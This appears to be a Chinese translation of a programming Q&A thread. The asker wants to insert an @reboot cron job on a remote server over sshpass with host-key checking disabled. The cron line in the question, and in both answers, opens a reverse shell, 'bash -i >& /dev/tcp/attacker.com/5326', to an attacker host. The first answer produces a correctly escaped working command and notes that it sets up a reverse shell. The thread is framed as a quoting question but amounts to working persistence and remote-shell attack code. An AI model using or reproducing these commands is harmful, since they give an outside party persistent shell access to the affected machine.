如何通过脚本中的双引号echo命令传递单引号以添加cron作业

时间:2019-03-31 18:33:00

标签: linux bash cron echo sshpass

我有一个脚本来更新ssh访问的远程服务器中的cron作业。我无法通过bash脚本中运行的echo命令将单引号放入cron作业中。

这是我在cron工作中需要的确切字符串:

'bash -i >& /dev/tcp/attacker.com/5326 0>&1'

但是我不能让他们“坚持”。

这是我脚本中的行(其他行都很好。

sshpass -p 'PASSWORD' ssh -t -o StrictHostKeyChecking=no REMOTEUSERNAME@HOSTNAME "rm TEMPFILENAME;touch TEMPFILENAME;crontab -l > TEMPFILENAME;echo @reboot /bin/bash -c 'bash -i >& /dev/tcp/attacker.com/5326 0>&1' >> TEMPFILENAME; crontab TEMPFILENAME"

此尝试的结果是...

@reboot /bin/bash -c bash -i >& /dev/tcp/attacker.com/5326 0>&1

...缺少引号。

我尝试使用多个双引号。双引号内的单引号。斜线。

在这种情况下,如何在脚本中加上单引号,使它们最终成为cron工作?

2 个答案:

答案 0 :(得分:0)

如果不需要漂亮的东西,可以要求Bash做到:

#!/bin/bash
cmd='bash -i >& /dev/tcp/attacker.com/5326 0>&1';
crontab=$(printf "@reboot bash -c %q" "$cmd")
echo=$(printf "echo %q >> TEMPFILENAME" "$crontab")
ssh=$(printf "ssh localhost %q" "$echo")
printf 'The command to run is:\n%s\n' "$ssh"

此脚本的输出为:

The command to run is:
ssh localhost echo\ @reboot\\\ bash\\\ -c\\\ bash\\\\\\\ -i\\\\\\\ \\\\\\\>\\\\\\\&\\\\\\\ /dev/tcp/attacker.com/5326\\\\\\\ 0\\\\\\\>\\\\\\\&1\ \>\>\ TEMPFILENAME

实际上,如果您复制粘贴该命令,则会发现文件TEMPFILENAME包含:

@reboot bash -c bash\ -i\ \>\&\ /dev/tcp/attacker.com/5326\ 0\>\&1

将复制粘贴到提示中时将设置反向外壳。

答案 1 :(得分:-1)

您可以在用'\'转义单引号后尝试吗?

sshpass -p 'PASSWORD' ssh -t -o StrictHostKeyChecking=no REMOTEUSERNAME@HOSTNAME "rm TEMPFILENAME;touch TEMPFILENAME;crontab -l > TEMPFILENAME;echo @reboot /bin/bash -c \'bash -i >& /dev/tcp/attacker.com/5326 0>&1\' >> TEMPFILENAME; crontab TEMPFILENAME"